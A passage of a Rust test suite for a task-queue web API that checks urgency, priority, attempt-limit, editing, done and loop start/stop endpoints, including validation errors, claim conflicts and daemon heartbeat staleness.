14874 assert!(held_plain.json()["hold_reason"].is_null());
14875
14876 let released = f
14877 .post(&format!("/api/queue/{}/release", task.id), None)
14878 .await;
14879 assert_eq!(released.status, 200);
14880 assert!(
14881 released.json()["hold_reason"].is_null(),
14882 "a release must clear the reason so the next hold does not inherit it"
14883 );
14884 }
14885
14886 #[test]
14887 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14888 for urgent in [true, false] {
14889 let body: UrgentBody =
14890 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14891 assert_eq!(body.urgent, urgent);
14892 }
14893 for input in [
14894 r#"{}"#,
14895 r#"{"urgent":null}"#,
14896 r#"{"urgent":"true"}"#,
14897 r#"{"urgent":1}"#,
14898 r#"{"urgent":true,"extra":false}"#,
14899 ] {
14900 assert!(
14901 serde_json::from_str::<UrgentBody>(input).is_err(),
14902 "{input}"
14903 );
14904 }
14905 }
14906
14907 #[tokio::test]
14908 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14909 let home = TempDir::new().unwrap();
14910 let q = Queue::at(home.path().join("queue"));
14911 let ui = Arc::new(Ui::new(
14912 q.clone(),
14913 Questions::at(home.path().join("questions")),
14914 Talks::at(home.path().join("talks")),
14915 home.path().join("runs"),
14916 home.path().into(),
14917 home.path().into(),
14918 ));
14919 let mut task = Task::new(
14920 "urgent handler".into(),
14921 "keep".into(),
14922 home.path().into(),
14923 Source::Human,
14924 );
14925 for status in [TaskStatus::Queued, TaskStatus::Held] {
14926 task.status = status;
14927 q.put(&mut task).unwrap();
14928 for urgent in [true, true, false, false] {
14929 let saved = queue_urgent(
14930 State(Arc::clone(&ui)),
14931 Path(task.short().into()),
14932 Ok(Json(UrgentBody { urgent })),
14933 )
14934 .await
14935 .unwrap();
14936 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14937 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14938 }
14939 }
14940 task.status = TaskStatus::Queued;
14941 q.put(&mut task).unwrap();
14942 let claim = q.claim(&task.id).unwrap();
14943 let error = queue_urgent(
14944 State(Arc::clone(&ui)),
14945 Path(task.id.clone()),
14946 Ok(Json(UrgentBody { urgent: true })),
14947 )
14948 .await
14949 .unwrap_err();
14950 assert_eq!(error.status, StatusCode::CONFLICT);
14951 assert!(error.message.contains("released"));
14952 drop(claim);
14953 for status in [
14954 TaskStatus::Running,
14955 TaskStatus::Done,
14956 TaskStatus::Failed,
14957 TaskStatus::Blocked,
14958 TaskStatus::Parked,
14959 ] {
14960 task.status = status;
14961 q.put(&mut task).unwrap();
14962 let error = queue_urgent(
14963 State(Arc::clone(&ui)),
14964 Path(task.id.clone()),
14965 Ok(Json(UrgentBody { urgent: false })),
14966 )
14967 .await
14968 .unwrap_err();
14969 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14970 assert!(error.message.contains(status.as_str()));
14971 }
14972 }
14973
14974 #[tokio::test]
14975 async fn urgent_api_updates_preserves_and_validates_tasks() {
14976 let f = Fixture::start().await;
14977 let q = f.queue();
14978 let mut t = Task::new(
14979 "urgent API".into(),
14980 "unchanged".into(),
14981 PathBuf::from("/repo/magi"),
14982 Source::Human,
14983 );
14984 t.attempts = 2;
14985 t.priority = 9;
14986 t.interrupt = true;
14987 t.hold_reason = Some("waiting for approval".into());
14988 for status in [TaskStatus::Queued, TaskStatus::Held] {
14989 t.status = status;
14990 q.put(&mut t).unwrap();
14991 for urgent in [true, true, false, false] {
14992 let response = f
14993 .post(
14994 &format!("/api/queue/{}/urgent", t.short()),
14995 Some(&format!("{{\"urgent\":{urgent}}}")),
14996 )
14997 .await;
14998 assert_eq!(response.status, 200, "{}", response.body);
14999 assert_eq!(response.json()["urgent"], urgent);
15000 let saved = q.get(&t.id).unwrap();
15001 let mut before = serde_json::to_value(&t).unwrap();
15002 let mut after = serde_json::to_value(saved).unwrap();
15003 before["urgent"] = urgent.into();
15004 before.as_object_mut().unwrap().remove("updated_at");
15005 after.as_object_mut().unwrap().remove("updated_at");
15006 assert_eq!(after, before);
15007 }
15008 }
15009 let route = format!("/api/queue/{}/urgent", t.id);
15010 for body in [
15011 r#"{}"#,
15012 r#"{"urgent":null}"#,
15013 r#"{"urgent":"true"}"#,
15014 r#"{"urgent":1}"#,
15015 r#"{"urgent":true,"extra":false}"#,
15016 "{",
15017 ] {
15018 assert_eq!(f.post(&route, Some(body)).await.status, 400);
15019 }
15020 t.status = TaskStatus::Queued;
15021 q.put(&mut t).unwrap();
15022 let claim = q.claim(&t.id).unwrap();
15023 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
15024 assert_eq!(response.status, 409, "{}", response.body);
15025 assert!(!q.get(&t.id).unwrap().urgent);
15026 drop(claim);
15027 for status in [
15028 TaskStatus::Running,
15029 TaskStatus::Done,
15030 TaskStatus::Failed,
15031 TaskStatus::Blocked,
15032 TaskStatus::Parked,
15033 ] {
15034 t.status = status;
15035 q.put(&mut t).unwrap();
15036 for urgent in [true, false] {
15037 let response = f
15038 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
15039 .await;
15040 assert_eq!(response.status, 400, "{}", response.body);
15041 assert!(response.body.contains(status.as_str()));
15042 assert!(response.body.contains("queued or held"));
15043 assert!(!q.get(&t.id).unwrap().urgent);
15044 }
15045 }
15046 assert_eq!(
15047 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
15048 .await
15049 .status,
15050 404
15051 );
15052 }
15053
15054 #[tokio::test]
15055 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
15056 let f = Fixture::start().await;
15057 let queue = f.queue();
15058 let mut older = Task::new(
15059 "filed first".to_owned(),
15060 "x".to_owned(),
15061 PathBuf::from("/repo/magi"),
15062 Source::Human,
15063 );
15064 older.id = "20260101-000001-aaaa".to_owned();
15065 let mut newer = Task::new(
15066 "filed second".to_owned(),
15067 "x".to_owned(),
15068 PathBuf::from("/repo/magi"),
15069 Source::Human,
15070 );
15071 newer.id = "20260101-000002-bbbb".to_owned();
15072 queue.put(&mut older).expect("file older");
15073 queue.put(&mut newer).expect("file newer");
15074
15075 let before = f.get("/api/queue").await.json();
15078 assert_eq!(before[0]["id"], newer.id);
15079 assert_eq!(before[1]["id"], older.id);
15080
15081 let raised = f
15085 .post(
15086 &format!("/api/queue/{}/priority", older.id),
15087 Some(r#"{"priority":10}"#),
15088 )
15089 .await;
15090 assert_eq!(raised.status, 200, "{}", raised.body);
15091 assert_eq!(raised.json()["priority"], 10);
15092
15093 let after = f.get("/api/queue").await.json();
15094 let names: Vec<&str> = after
15095 .as_array()
15096 .unwrap()
15097 .iter()
15098 .map(|t| t["id"].as_str().unwrap())
15099 .collect();
15100 assert_eq!(names[0], older.id, "the raised task now sorts first");
15104 }
15105
15106 #[tokio::test]
15107 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
15108 let dir = TempDir::new().unwrap();
15109 let q = Queue::at(dir.path().join("queue"));
15110 let ui = Arc::new(Ui::new(
15111 q.clone(),
15112 Questions::at(dir.path().join("questions")),
15113 Talks::at(dir.path().join("talks")),
15114 dir.path().join("runs"),
15115 dir.path().to_path_buf(),
15116 dir.path().to_path_buf(),
15117 ));
15118 let mut t = Task::new(
15119 "budget".into(),
15120 "keep".into(),
15121 dir.path().into(),
15122 Source::Human,
15123 );
15124 t.attempts = 2;
15125 t.runs.push("prior-run".into());
15126 t.hold_manual(Some("waiting".into()));
15127 q.put(&mut t).unwrap();
15128 let change = |value| {
15129 queue_attempt_limit(
15130 State(ui.clone()),
15131 Path(t.id.clone()),
15132 Ok(Json(AttemptLimitBody {
15133 attempt_limit: value,
15134 })),
15135 )
15136 };
15137 for value in [
15138 serde_json::json!(3),
15139 serde_json::Value::Null,
15140 serde_json::json!(1),
15141 ] {
15142 let response = change(value.clone()).await.unwrap();
15143 assert_eq!(
15144 serde_json::to_value(response.0).unwrap()["attempt_limit"],
15145 value
15146 );
15147 let saved = q.get(&t.id).unwrap();
15148 assert_eq!(
15149 serde_json::to_value(&saved).unwrap()["attempt_limit"],
15150 value
15151 );
15152 assert_eq!(saved.status, TaskStatus::Held);
15153 assert_eq!(saved.attempts, t.attempts);
15154 assert_eq!(saved.runs, t.runs);
15155 assert_eq!(saved.hold_reason, t.hold_reason);
15156 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
15157 .await
15158 .unwrap()
15159 .0;
15160 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
15161 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
15162 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
15163 assert_eq!(outcome.max_attempts, detail.max_attempts);
15164 }
15165 for value in [
15166 serde_json::json!(0),
15167 serde_json::json!(-1),
15168 serde_json::json!(1.5),
15169 serde_json::json!("3"),
15170 serde_json::json!(true),
15171 ] {
15172 assert_eq!(
15173 change(value).await.err().unwrap().status,
15174 StatusCode::BAD_REQUEST
15175 );
15176 }
15177 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
15178 let claim = q.claim(&t.id).unwrap();
15179 assert_eq!(
15180 change(serde_json::json!(4)).await.err().unwrap().status,
15181 StatusCode::CONFLICT
15182 );
15183 drop(claim);
15184 for status in [
15185 TaskStatus::Running,
15186 TaskStatus::Done,
15187 TaskStatus::Failed,
15188 TaskStatus::Blocked,
15189 TaskStatus::Parked,
15190 ] {
15191 let mut stored = q.get(&t.id).unwrap();
15192 stored.status = status;
15193 q.put(&mut stored).unwrap();
15194 assert_eq!(
15195 change(serde_json::json!(4)).await.err().unwrap().status,
15196 StatusCode::BAD_REQUEST
15197 );
15198 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
15199 }
15200 let mut stored = q.get(&t.id).unwrap();
15201 stored.status = TaskStatus::Queued;
15202 q.put(&mut stored).unwrap();
15203 let _ = change(serde_json::Value::Null).await.unwrap();
15204 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
15205 }
15206
15207 #[tokio::test]
15208 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
15209 let dir = TempDir::new().unwrap();
15210 let repo = dir.path().join("repo");
15211 std::fs::create_dir(&repo).unwrap();
15212 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
15213 let q = Queue::at(dir.path().join("queue"));
15214 let ui = Arc::new(Ui::new(
15215 q.clone(),
15216 Questions::at(dir.path().join("questions")),
15217 Talks::at(dir.path().join("talks")),
15218 dir.path().join("runs"),
15219 dir.path().to_path_buf(),
15220 repo.clone(),
15221 ));
15222 let mut t = Task::new(
15223 "seats".into(),
15224 "keep instruction".into(),
15225 repo,
15226 Source::Human,
15227 );
15228 t.runs.push("prior-run".into());
15229 t.hold_manual(Some("waiting".into()));
15230 q.put(&mut t).unwrap();
15231 let change = |count| {
15232 queue_implementers(
15233 State(ui.clone()),
15234 Path(t.id.clone()),
15235 Ok(Json(ImplementersBody {
15236 implementers: count,
15237 })),
15238 )
15239 };
15240 for count in [2, 1, 2] {
15241 let response = change(count).await.unwrap();
15242 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
15243 let saved = q.get(&t.id).unwrap();
15244 assert_eq!(saved.implementers(), Some(usize::from(count)));
15245 assert_eq!(saved.runs, t.runs);
15246 assert_eq!(saved.instruction, t.instruction);
15247 }
15248 for count in [0, 4] {
15249 assert_eq!(
15250 change(count).await.err().unwrap().status,
15251 StatusCode::BAD_REQUEST
15252 );
15253 }
15254 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15255 let claim = q.claim(&t.id).unwrap();
15256 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15257 drop(claim);
15258 for status in [
15259 TaskStatus::Running,
15260 TaskStatus::Done,
15261 TaskStatus::Failed,
15262 TaskStatus::Blocked,
15263 TaskStatus::Parked,
15264 ] {
15265 let mut stored = q.get(&t.id).unwrap();
15266 stored.status = status;
15267 q.put(&mut stored).unwrap();
15268 assert_eq!(
15269 change(1).await.err().unwrap().status,
15270 StatusCode::BAD_REQUEST
15271 );
15272 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15273 }
15274 }
15275
15276 #[tokio::test]
15277 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15278 let f = Fixture::start().await;
15279 let queue = f.queue();
15280 let mut task = Task::new(
15281 "in flight".to_owned(),
15282 "x".to_owned(),
15283 PathBuf::from("/repo/magi"),
15284 Source::Human,
15285 );
15286 task.start("20260902-140502-bbbb".to_owned());
15287 queue.put(&mut task).expect("file the task");
15288
15289 let res = f
15290 .post(
15291 &format!("/api/queue/{}/priority", task.id),
15292 Some(r#"{"priority":9}"#),
15293 )
15294 .await;
15295 assert_eq!(res.status, 400, "{}", res.body);
15296 assert!(
15297 res.json()["error"]
15298 .as_str()
15299 .is_some_and(|e| e.contains("running")),
15300 "{}",
15301 res.body
15302 );
15303 assert_eq!(
15304 queue.get(&task.id).expect("reload").priority,
15305 0,
15306 "the refused write must not partially apply"
15307 );
15308 }
15309
15310 #[tokio::test]
15311 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15312 let f = Fixture::start().await;
15313 let queue = f.queue();
15314 let mut task = Task::new(
15315 "old title".to_owned(),
15316 "old instruction".to_owned(),
15317 PathBuf::from("/repo/magi"),
15318 Source::Agent {
15319 run: "20260101-000000-beef".to_owned(),
15320 node: "implement".to_owned(),
15321 },
15322 );
15323 task.runs.push("20260101-000000-beef".to_owned());
15324 queue.put(&mut task).expect("file the task");
15325 let created_at = task.created_at;
15326
15327 let edited = f
15328 .post(
15329 &format!("/api/queue/{}/edit", task.id),
15330 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15331 )
15332 .await;
15333 assert_eq!(edited.status, 200, "{}", edited.body);
15334 let body = edited.json();
15335 assert_eq!(body["title"], "new title");
15336 assert_eq!(body["instruction"], "new instruction");
15337 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15338 assert_eq!(body["created_at"], created_at.to_string());
15339 assert_eq!(
15340 body["source"]["kind"], "agent",
15341 "editing a task an agent filed must not turn it human: {body}"
15342 );
15343 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15344
15345 let reloaded = queue.get(&task.id).expect("reload");
15346 assert_eq!(reloaded.title, "new title");
15347 assert_eq!(reloaded.instruction, "new instruction");
15348 }
15349
15350 #[tokio::test]
15351 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15352 let tmp = TempDir::new().expect("tempdir");
15355 let repo = tmp.path().join("repo");
15356 std::fs::create_dir_all(&repo).expect("repo dir");
15357 let judge = MOCK_AGENT_TOML.replace(
15358 "printf ok",
15359 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15360 );
15361 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15362 let f = Fixture::with_repo(repo.clone()).await;
15363 let queue = f.queue();
15364 let mut owner = Task::new(
15365 "owner".to_owned(),
15366 "review it".to_owned(),
15367 repo.clone(),
15368 Source::Human,
15369 );
15370 owner.review_branch = Some("magi/ab12/A".to_owned());
15371 queue.put(&mut owner).expect("file the owner");
15372 let mut task = Task::new(
15373 "draft".to_owned(),
15374 "old".to_owned(),
15375 repo.clone(),
15376 Source::Human,
15377 );
15378 queue.put(&mut task).expect("file the draft");
15379 let url = format!("/api/queue/{}/edit", task.id);
15380
15381 let refused = f
15382 .post(
15383 &url,
15384 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15385 )
15386 .await;
15387 assert_eq!(refused.status, 409, "{}", refused.body);
15388 let msg = refused.json()["error"]
15389 .as_str()
15390 .unwrap_or_default()
15391 .to_owned();
15392 assert!(
15393 msg.contains("magi/ab12/A") && msg.contains("force"),
15394 "{msg}"
15395 );
15396 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15397
15398 let forced = f
15399 .post(
15400 &url,
15401 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15402 )
15403 .await;
15404 assert_eq!(forced.status, 200, "{}", forced.body);
15405 }
15406
15407 #[tokio::test]
15408 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15409 let f = Fixture::start().await;
15410 let queue = f.queue();
15411 let mut task = Task::new(
15412 "in flight".to_owned(),
15413 "do not touch".to_owned(),
15414 PathBuf::from("/repo/magi"),
15415 Source::Human,
15416 );
15417 task.start("20260902-140502-bbbb".to_owned());
15418 queue.put(&mut task).expect("file the task");
15419
15420 let res = f
15421 .post(
15422 &format!("/api/queue/{}/edit", task.id),
15423 Some(r#"{"title":"x","instruction":"y"}"#),
15424 )
15425 .await;
15426 assert_eq!(res.status, 400, "{}", res.body);
15427 assert!(
15428 res.json()["error"]
15429 .as_str()
15430 .is_some_and(|e| e.contains("running")),
15431 "{}",
15432 res.body
15433 );
15434 assert_eq!(
15435 queue.get(&task.id).expect("reload").instruction,
15436 "do not touch",
15437 "the refused edit must not change the file"
15438 );
15439 }
15440
15441 #[tokio::test]
15442 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
15443 let f = Fixture::start().await;
15444 let queue = f.queue();
15445 let mut task = Task::new(
15446 "busy".to_owned(),
15447 "Running right now".to_owned(),
15448 PathBuf::from("/repo/magi"),
15449 Source::Human,
15450 );
15451 queue.put(&mut task).expect("file the task");
15452 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
15453
15454 let priority = f
15455 .post(
15456 &format!("/api/queue/{}/priority", task.id),
15457 Some(r#"{"priority":9}"#),
15458 )
15459 .await;
15460 assert_eq!(priority.status, 409, "{}", priority.body);
15461
15462 let edit = f
15463 .post(
15464 &format!("/api/queue/{}/edit", task.id),
15465 Some(r#"{"title":"x","instruction":"y"}"#),
15466 )
15467 .await;
15468 assert_eq!(edit.status, 409, "{}", edit.body);
15469 }
15470
15471 #[tokio::test]
15472 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
15473 let f = Fixture::start().await;
15474 let queue = f.queue();
15475 let mut task = Task::new(
15476 "shipped by hand".to_owned(),
15477 "merged outside the loop".to_owned(),
15478 PathBuf::from("/repo/magi"),
15479 Source::Agent {
15480 run: "20260101-000000-b455".to_owned(),
15481 node: "implement".to_owned(),
15482 },
15483 );
15484 task.runs.push("20260101-000000-b455".to_owned());
15485 task.runs.push("20260101-000000-9af4".to_owned());
15486 queue.put(&mut task).expect("file the task");
15487 let created_at = task.created_at;
15488
15489 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15490 assert_eq!(done.status, 200, "{}", done.body);
15491 assert_eq!(done.json()["status_str"], "done");
15492
15493 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
15494 assert_eq!(
15495 reloaded.runs,
15496 ["20260101-000000-b455", "20260101-000000-9af4"]
15497 );
15498 assert_eq!(
15499 reloaded.source,
15500 Source::Agent {
15501 run: "20260101-000000-b455".to_owned(),
15502 node: "implement".to_owned(),
15503 }
15504 );
15505 assert_eq!(reloaded.created_at, created_at);
15506 }
15507
15508 #[tokio::test]
15509 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
15510 let f = Fixture::start().await;
15515 let queue = f.queue();
15516 let mut task = Task::new(
15517 "landed while held".to_owned(),
15518 "x".to_owned(),
15519 PathBuf::from("/repo/magi"),
15520 Source::Human,
15521 );
15522 task.hold_manual(Some("waiting on 3ed9".to_owned()));
15523 queue.put(&mut task).expect("file the held task");
15524
15525 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15526 assert_eq!(done.status, 200, "{}", done.body);
15527 assert_eq!(done.json()["status_str"], "done");
15528 assert!(
15529 done.json()["hold_reason"].is_null(),
15530 "a done task cannot still be waiting on something: {}",
15531 done.body
15532 );
15533 }
15534
15535 #[tokio::test]
15536 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
15537 let f = Fixture::start().await;
15542 let queue = f.queue();
15543 let runs = f.runs();
15544 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
15545 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
15549
15550 let mut task = Task::new(
15551 "landed by hand".to_owned(),
15552 "x".to_owned(),
15553 PathBuf::from("/repo/magi"),
15554 Source::Human,
15555 );
15556 task.runs.push("20260101-000000-doa1".to_owned());
15557 task.runs.push("20260101-000000-doa2".to_owned());
15558 queue.put(&mut task).expect("file the task");
15559
15560 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15561 assert_eq!(done.status, 200, "{}", done.body);
15562
15563 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
15564 .expect("run still on disk under this fixture's own home");
15565 assert_eq!(
15566 reloaded_run.status,
15567 RunStatus::Superseded,
15568 "closing the task by hand must relabel the earlier blocked attempt exactly \
15569 like the loop's own settle path does"
15570 );
15571 }
15572
15573 #[tokio::test]
15574 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
15575 let f = Fixture::start().await;
15580 let queue = f.queue();
15581 let runs = f.runs();
15582 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
15583 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
15584
15585 let mut task = Task::new(
15586 "closed with nothing actually landed".to_owned(),
15587 "x".to_owned(),
15588 PathBuf::from("/repo/magi"),
15589 Source::Human,
15590 );
15591 task.runs.push("20260101-000000-dob1".to_owned());
15592 task.runs.push("20260101-000000-dob2".to_owned());
15593 queue.put(&mut task).expect("file the task");
15594
15595 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
15596 assert_eq!(done.status, 200, "{}", done.body);
15597
15598 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
15599 .expect("run still on disk under this fixture's own home");
15600 assert_eq!(
15601 reloaded_run.status,
15602 RunStatus::Blocked,
15603 "the last recorded attempt never landed, so the earlier one must not be \
15604 relabelled as superseded by it"
15605 );
15606 }
15607
15608 #[tokio::test]
15609 async fn unknown_ids_are_json_not_found_on_both_stores() {
15610 let f = Fixture::start().await;
15611
15612 let run = f.get("/api/runs/nosuchrun").await;
15613 let task = f.post("/api/queue/nosuchtask/hold", None).await;
15614
15615 assert_eq!(run.status, 404);
15616 assert_eq!(task.status, 404);
15617 assert!(
15618 run.json()["error"]
15619 .as_str()
15620 .is_some_and(|e| e.contains("run")),
15621 "the error names what was not found: {}",
15622 run.body
15623 );
15624 assert!(
15625 task.json()["error"]
15626 .as_str()
15627 .is_some_and(|e| e.contains("task")),
15628 "the error names what was not found: {}",
15629 task.body
15630 );
15631 }
15632
15633 #[tokio::test]
15634 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
15635 let f = Fixture::start().await;
15636
15637 let missing = f.get("/api/health").await.json();
15638 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
15639
15640 write_daemon(
15641 f.home.path(),
15642 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15643 );
15644 let stale = f.get("/api/health").await.json();
15645 assert_eq!(
15646 stale["daemon"]["running"], false,
15647 "a minute without a heartbeat is a dead daemon, not a busy one"
15648 );
15649 assert!(
15650 stale["daemon"]["stale_for_secs"]
15651 .as_i64()
15652 .is_some_and(|s| s >= 55),
15653 "staleness is reported so the UI can say how long: {stale}"
15654 );
15655
15656 write_daemon(f.home.path(), Timestamp::now());
15657 let fresh = f.get("/api/health").await.json();
15658 assert_eq!(fresh["daemon"]["running"], true);
15659 assert_eq!(fresh["daemon"]["idle"], false);
15660 assert_eq!(fresh["daemon"]["pid"], 4242);
15661 assert_eq!(fresh["daemon"]["completed"], 7);
15662 assert_eq!(
15663 fresh["daemon"]["current"][0]["task"],
15664 "20260902-140501-aaaa"
15665 );
15666 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
15667 }
15668
15669 #[tokio::test]
15670 async fn the_loop_is_not_running_until_something_starts_it() {
15671 let f = Fixture::start().await;
15672
15673 let view = f.get("/api/loop").await.json();
15674 assert_eq!(view["running"], false);
15675 assert_eq!(
15676 view["owned"], false,
15677 "nobody owns a loop that does not exist: {view}"
15678 );
15679 assert_eq!(view["stopping"], false);
15680 assert_eq!(view["last_error"], Value::Null);
15681 assert_eq!(view["daemon"]["running"], false);
15682 assert_eq!(
15683 view["repo"], "/repo/magi",
15684 "the repository a start would use, named before it is started"
15685 );
15686 }
15687
15688 #[tokio::test]
15689 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
15690 let f = Fixture::start().await;
15691
15692 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15693 assert_eq!(res.status, 200, "{}", res.body);
15694 let view = res.json();
15695 assert_eq!(view["running"], true);
15696 assert_eq!(
15697 view["owned"], true,
15698 "the loop the UI started is the UI's own to stop: {view}"
15699 );
15700 assert_eq!(
15701 view["merge"],
15702 Value::Null,
15703 "no override was given, so each repository's own config decides"
15704 );
15705
15706 let health = f.get("/api/health").await.json();
15710 assert_eq!(health["loop"]["running"], true, "{health}");
15711 assert_eq!(health["loop"]["owned"], true, "{health}");
15712
15713 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15714 }
15715
15716 #[tokio::test]
15717 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
15718 let f = Fixture::start().await;
15719 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15720 assert_eq!(first.status, 200, "{}", first.body);
15721
15722 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15723 assert_eq!(
15724 again.status, 409,
15725 "two loops on one queue race for the same claims: {}",
15726 again.body
15727 );
15728 assert!(
15729 again.json()["error"]
15730 .as_str()
15731 .is_some_and(|e| e.contains("already running the loop")),
15732 "the refusal has to say why: {}",
15733 again.body
15734 );
15735 assert_eq!(
15736 f.get("/api/loop").await.json()["running"],
15737 true,
15738 "and the loop that was already running is untouched by it"
15739 );
15740
15741 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15742 }
15743
15744 #[tokio::test]
15745 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
15746 let f = Fixture::start().await;
15747 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15748
15749 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15750 assert_eq!(
15751 res.status, 200,
15752 "the answer must not wait for the loop: a run in flight is tens of \
15753 minutes and the operator is holding a phone: {}",
15754 res.body
15755 );
15756
15757 let view = settled(&f, |v| v["running"] == false).await;
15758 assert_eq!(view["owned"], false);
15759 assert_eq!(
15760 view["stopping"], false,
15761 "a loop that has stopped is not still stopping: {view}"
15762 );
15763 assert_eq!(
15764 view["last_error"],
15765 Value::Null,
15766 "a loop that was asked to stop did not fail: {view}"
15767 );
15768
15769 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15772 assert_eq!(twice.status, 200, "{}", twice.body);
15773 }
15774
15775 #[tokio::test]
15776 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
15777 let f = Fixture::start().await;
15778 write_daemon(f.home.path(), Timestamp::now());
15781
15782 let view = f.get("/api/loop").await.json();
15783 assert_eq!(view["running"], false, "not in this process: {view}");
15784 assert_eq!(view["owned"], false, "and not this process's to control");
15785 assert_eq!(
15786 view["daemon"]["running"], true,
15787 "but a loop is alive somewhere, which is what the UI must say"
15788 );
15789 assert_eq!(view["daemon"]["pid"], 4242);
15790
15791 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
15792 let res = f.post("/api/loop", Some(body)).await;
15793 assert_eq!(
15794 res.status, 409,
15795 "neither button may pretend to work on someone else's loop: {}",
15796 res.body
15797 );
15798 assert!(
15799 res.json()["error"]
15800 .as_str()
15801 .is_some_and(|e| e.contains("4242")),
15802 "the refusal has to name the process the operator must go to: {}",
15803 res.body
15804 );
15805 }
15806 assert_eq!(
15807 f.get("/api/loop").await.json()["running"],
15808 false,
15809 "and the refusal started nothing"
15810 );
15811 }
15812
15813 #[tokio::test]
15814 async fn a_stale_status_file_is_not_a_foreign_owner() {
15815 let f = Fixture::start().await;
15816 write_daemon(
15817 f.home.path(),
15818 Timestamp::now() - jiff::SignedDuration::from_secs(60),
15819 );
15820
15821 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15822 assert_eq!(
15823 res.status, 200,
15824 "a daemon killed a minute ago must not lock the loop out of its \
15825 own home for good: {}",
15826 res.body
15827 );
15828 assert_eq!(res.json()["running"], true);
15829
15830 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15831 }
15832
15833 #[tokio::test]
15834 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
15835 let f = Fixture::start().await;
15836 let before = f.get("/api/health").await.json()["loop_rev"]
15837 .as_u64()
15838 .expect("a loop revision");
15839
15840 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15841
15842 let after = f.get("/api/health").await.json()["loop_rev"]
15843 .as_u64()
15844 .expect("a loop revision");
15845 assert!(
15846 after > before,
15847 "the loop is in-process state, so this counter is the only thing \
15848 that tells a second device the first one started it: {before} -> \
15849 {after}"
15850 );
15851
15852 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
15853 }
15854
15855 #[tokio::test]
15856 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
15857 let f = Fixture::with_loop(launch_broken).await;
15858
15859 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15860 assert_eq!(
15861 res.status, 200,
15862 "starting it is not the failure: {}",
15863 res.body
15864 );
15865
15866 let view = settled(&f, |v| v["last_error"].is_string()).await;
15867 assert_eq!(
15868 view["running"], false,
15869 "a loop that died must not read as running, or the operator has \
15870 nothing to press: {view}"
15871 );
15872 assert_eq!(view["owned"], false);
15873 assert!(
15874 view["last_error"]
15875 .as_str()
